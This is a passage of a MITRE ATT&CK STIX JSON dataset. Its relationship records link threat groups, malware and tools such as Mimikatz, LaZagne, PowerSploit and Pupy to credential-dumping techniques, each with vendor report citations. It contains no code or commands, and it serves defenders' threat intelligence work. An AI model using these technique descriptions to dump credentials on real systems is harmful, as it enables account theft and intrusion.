                    "url": "https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/",
                    "description": "Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.",
                    "source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015"
                },
                {
                    "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.",
                    "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools",
                    "source_name": "NCSC Joint Report Public Tools"
                }
            ],
            "description": "[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from DCSync/NetSync.(Citation: Deply Mimikatz)(Citation: GitHub Mimikatz lsadump Module)(Citation: Directory Services Internals DPAPI Backup Keys Oct 2015)(Citation: NCSC Joint Report Public Tools)",
            "relationship_type": "uses",
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            "external_references": [
                {
                    "url": "https://github.com/gentilkiwi/mimikatz",
                    "description": "Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.",
                    "source_name": "Deply Mimikatz"
                },
                {
                    "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump",
                    "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.",
                    "source_name": "GitHub Mimikatz lsadump Module"
                },
                {
                    "url": "https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/",
                    "description": "Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.",
                    "source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015"
                },
                {
                    "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.",
                    "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools",
                    "source_name": "NCSC Joint Report Public Tools"
                }
            ],
            "description": "[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the SAM table.(Citation: Deply Mimikatz)(Citation: GitHub Mimikatz lsadump Module)(Citation: Directory Services Internals DPAPI Backup Keys Oct 2015)(Citation: NCSC Joint Report Public Tools)",
            "relationship_type": "uses",
            "id": "relationship--7f04a14f-ab65-4ad5-9d67-a4b509ba8087",
            "type": "relationship",
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            "external_references": [
                {
                    "url": "https://github.com/gentilkiwi/mimikatz",
                    "description": "Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.",
                    "source_name": "Deply Mimikatz"
                },
                {
                    "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump",
                    "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.",
                    "source_name": "GitHub Mimikatz lsadump Module"
                },
                {
                    "url": "https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/",
                    "description": "Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.",
                    "source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015"
                },
                {
                    "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.",
                    "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools",
                    "source_name": "NCSC Joint Report Public Tools"
                }
            ],
            "description": "[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the LSA.(Citation: Deply Mimikatz)(Citation: GitHub Mimikatz lsadump Module)(Citation: Directory Services Internals DPAPI Backup Keys Oct 2015)(Citation: NCSC Joint Report Public Tools)",
            "relationship_type": "uses",
            "id": "relationship--f5e29f3a-99b1-4c45-952b-c238f72435ab",
            "type": "relationship",
            "modified": "2021-01-25T15:43:46.048Z",
            "created": "2020-03-19T23:37:02.596Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "target_ref": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
            "external_references": [
                {
                    "source_name": "Unit 42 MuddyWater Nov 2017",
                    "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/"
                },
                {
                    "source_name": "Symantec MuddyWater Dec 2018",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group",
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has performed credential dumping with [LaZagne](https://attack.mitre.org/software/S0349).(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)",
            "relationship_type": "uses",
            "id": "relationship--1eb79c3a-2cee-48ff-80b1-a5c3f571a3e8",
            "type": "relationship",
            "modified": "2020-03-19T23:45:03.141Z",
            "created": "2020-03-19T23:45:03.141Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "target_ref": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530",
            "external_references": [
                {
                    "source_name": "Unit 42 MuddyWater Nov 2017",
                    "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/"
                },
                {
                    "source_name": "Symantec MuddyWater Dec 2018",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group",
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has performed credential dumping with [LaZagne](https://attack.mitre.org/software/S0349).(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)",
            "relationship_type": "uses",
            "id": "relationship--fc857925-ff28-49f9-ba76-7ec2d29ba939",
            "type": "relationship",
            "modified": "2020-03-19T23:45:03.148Z",
            "created": "2020-03-19T23:45:03.148Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/",
                    "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 MuddyWater Nov 2017"
                },
                {
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group",
                    "source_name": "Symantec MuddyWater Dec 2018"
                },
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has performed credential dumping with [LaZagne](https://attack.mitre.org/software/S0349) and other tools, including by dumping passwords saved in victim email.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: Trend Micro Muddy Water March 2021)",
            "relationship_type": "uses",
            "id": "relationship--9dfb0ad2-5456-492a-bb74-a288ce8f7f7c",
            "type": "relationship",
            "modified": "2021-03-19T13:38:13.139Z",
            "created": "2020-03-19T23:45:03.225Z"
        },
        {
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            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "target_ref": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
            "external_references": [
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
                },
                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
                },
                {
                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
                    "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"
                },
                {
                    "source_name": "FireEye APT34 July 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html",
                    "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019."
                }
            ],
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [LaZagne](https://attack.mitre.org/software/S0349) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)(Citation: FireEye APT34 July 2019)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530",
            "external_references": [
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
                },
                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
                },
                {
                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
                    "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"
                },
                {
                    "source_name": "FireEye APT34 July 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html",
                    "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019."
                }
            ],
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [LaZagne](https://attack.mitre.org/software/S0349) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)(Citation: FireEye APT34 July 2019)",
            "relationship_type": "uses",
            "id": "relationship--cd95d72d-033c-4881-b233-70983106cbfa",
            "type": "relationship",
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            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "external_references": [
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
                },
                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
                },
                {
                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
                    "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"
                },
                {
                    "source_name": "FireEye APT34 July 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html",
                    "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019."
                }
            ],
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [LaZagne](https://attack.mitre.org/software/S0349) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)(Citation: FireEye APT34 July 2019)",
            "relationship_type": "uses",
            "id": "relationship--c27b0834-d1b8-440f-9b35-e15e78ecd715",
            "type": "relationship",
            "modified": "2020-03-19T23:50:06.591Z",
            "created": "2020-03-19T23:50:06.591Z"
        },
        {
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            "external_references": [
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
                },
                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
                },
                {
                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
                    "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"
                },
                {
                    "source_name": "FireEye APT34 July 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html",
                    "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019."
                },
                {
                    "source_name": "FireEye APT34 July 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html",
                    "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019."
                }
            ],
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [LaZagne](https://attack.mitre.org/software/S0349) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)(Citation: FireEye APT34 July 2019) [OilRig](https://attack.mitre.org/groups/G0049) has also used tool named PICKPOCKET to dump passwords from web browsers.(Citation: FireEye APT34 July 2019)",
            "relationship_type": "uses",
            "id": "relationship--dafc7834-fbb5-426c-adce-957742078002",
            "type": "relationship",
            "modified": "2020-11-23T17:35:43.923Z",
            "created": "2020-03-19T23:50:06.593Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be",
            "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "source_name": "FireEye APT28"
                }
            ],
            "description": "[OLDBAIT](https://attack.mitre.org/software/S0138) collects credentials from several email clients.(Citation: FireEye APT28)",
            "relationship_type": "uses",
            "id": "relationship--c002d944-83b6-4b64-a7a7-3129f31f9ae2",
            "type": "relationship",
            "modified": "2020-03-19T23:51:59.077Z",
            "created": "2020-03-19T23:51:59.077Z"
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        {
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            ],
            "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "source_name": "F-Secure The Dukes"
                }
            ],
            "description": "[PinchDuke](https://attack.mitre.org/software/S0048) steals credentials from compromised hosts. [PinchDuke](https://attack.mitre.org/software/S0048)'s credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by [PinchDuke](https://attack.mitre.org/software/S0048) include ones associated with many sources such as Netscape Navigator, Mozilla Firefox, Mozilla Thunderbird, and Internet Explorer. (Citation: F-Secure The Dukes)",
            "relationship_type": "uses",
            "id": "relationship--d5943cbb-6a13-41ff-9aaf-4213b46b83cd",
            "type": "relationship",
            "modified": "2020-03-19T23:56:41.564Z",
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            "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "external_references": [
                {
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "source_name": "F-Secure The Dukes"
                }
            ],
            "description": "[PinchDuke](https://attack.mitre.org/software/S0048) steals credentials from compromised hosts. [PinchDuke](https://attack.mitre.org/software/S0048)'s credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by [PinchDuke](https://attack.mitre.org/software/S0048) include ones associated with many sources such as The Bat!, Yahoo!, Mail.ru, Passport.Net, Google Talk, and Microsoft Outlook.(Citation: F-Secure The Dukes)",
            "relationship_type": "uses",
            "id": "relationship--c23fa4f7-84a0-424a-b8b1-b3024d01e749",
            "type": "relationship",
            "modified": "2020-03-19T23:56:41.592Z",
            "created": "2020-03-19T23:56:41.592Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "external_references": [
                {
                    "source_name": "GitHub PowerSploit May 2012",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "url": "https://github.com/PowerShellMafia/PowerSploit"
                },
                {
                    "source_name": "PowerSploit Documentation",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "url": "http://powersploit.readthedocs.io"
                }
            ],
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Exfiltration modules that can harvest credentials using [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
            "relationship_type": "uses",
            "id": "relationship--fa717a25-6be4-4cfd-ba02-1adc633f80ba",
            "type": "relationship",
            "modified": "2020-03-20T00:00:19.103Z",
            "created": "2020-03-20T00:00:19.103Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "target_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447",
            "external_references": [
                {
                    "source_name": "GitHub PowerSploit May 2012",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "url": "https://github.com/PowerShellMafia/PowerSploit"
                },
                {
                    "source_name": "PowerSploit Documentation",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "url": "http://powersploit.readthedocs.io"
                }
            ],
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Exfiltration modules that can harvest credentials from Windows vault credential objects.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
            "relationship_type": "uses",
            "id": "relationship--da4e4583-7382-4a38-a922-9b5f6c61b8a7",
            "type": "relationship",
            "modified": "2020-11-23T17:52:11.446Z",
            "created": "2020-03-20T00:00:19.107Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can use Lazagne for harvesting credentials.(Citation: GitHub Pupy)",
            "relationship_type": "uses",
            "id": "relationship--09c0536a-863f-4561-ad59-a5fa1c8daaa1",
            "type": "relationship",
            "modified": "2020-03-20T00:08:19.276Z",
            "created": "2020-03-20T00:08:19.276Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "target_ref": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can use Lazagne for harvesting credentials.(Citation: GitHub Pupy)",
            "relationship_type": "uses",
            "id": "relationship--e8a51a09-79b4-44d8-8f25-eb8c7c230da5",
            "type": "relationship",
            "modified": "2020-03-20T00:08:19.278Z",
            "created": "2020-03-20T00:08:19.278Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "target_ref": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530",
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can use Lazagne for harvesting credentials.(Citation: GitHub Pupy)",
            "relationship_type": "uses",
            "id": "relationship--d8707d98-c6f1-4d16-956a-df9a6862b7fa",
            "type": "relationship",
            "modified": "2020-03-20T00:08:19.297Z",
            "created": "2020-03-20T00:08:19.297Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "target_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926",
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can also perform pass-the-ticket.(Citation: GitHub Pupy)",
            "relationship_type": "uses",
            "id": "relationship--9f6c0951-1a78-4738-81ec-a11325a15352",
            "type": "relationship",
            "modified": "2020-03-20T00:08:19.312Z",
            "created": "2020-03-20T00:08:19.312Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can use Lazagne for harvesting credentials.(Citation: GitHub Pupy)",
            "relationship_type": "uses",
            "id": "relationship--eb46f5b9-ff45-4229-b24a-7344829f0884",
            "type": "relationship",
            "modified": "2020-03-20T00:08:19.315Z",
            "created": "2020-03-20T00:08:19.315Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can use Lazagne for harvesting credentials.(Citation: GitHub Pupy)",
            "relationship_type": "uses",
            "id": "relationship--4889f7a3-2c36-423a-b48d-c5405e07442f",
            "type": "relationship",
            "modified": "2020-03-20T00:08:19.318Z",
            "created": "2020-03-20T00:08:19.318Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f",
            "target_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447",
            "external_references": [
                {
                    "source_name": "Talos Group123",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html"
                }
            ],
            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) steals credentials by leveraging the Windows Vault mechanism.(Citation: Talos Group123)",
            "relationship_type": "uses",
            "id": "relationship--6f3b9887-80cb-4b36-b228-91e360d83962",
            "type": "relationship",
            "modified": "2020-11-23T17:48:46.409Z",
            "created": "2020-03-20T00:16:34.888Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "url": "https://citizenlab.org/2016/05/stealth-falcon/",
                    "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.",
                    "source_name": "Citizen Lab Stealth Falcon May 2016"
                }
            ],
            "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers passwords from multiple sources, including Internet Explorer, Firefox, and Chrome.(Citation: Citizen Lab Stealth Falcon May 2016)",
            "relationship_type": "uses",
            "id": "relationship--410e0c58-d96c-40ae-bf00-2d4b414daf50",
            "type": "relationship",
            "modified": "2020-03-20T00:17:48.749Z",
            "created": "2020-03-20T00:17:48.749Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                },
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
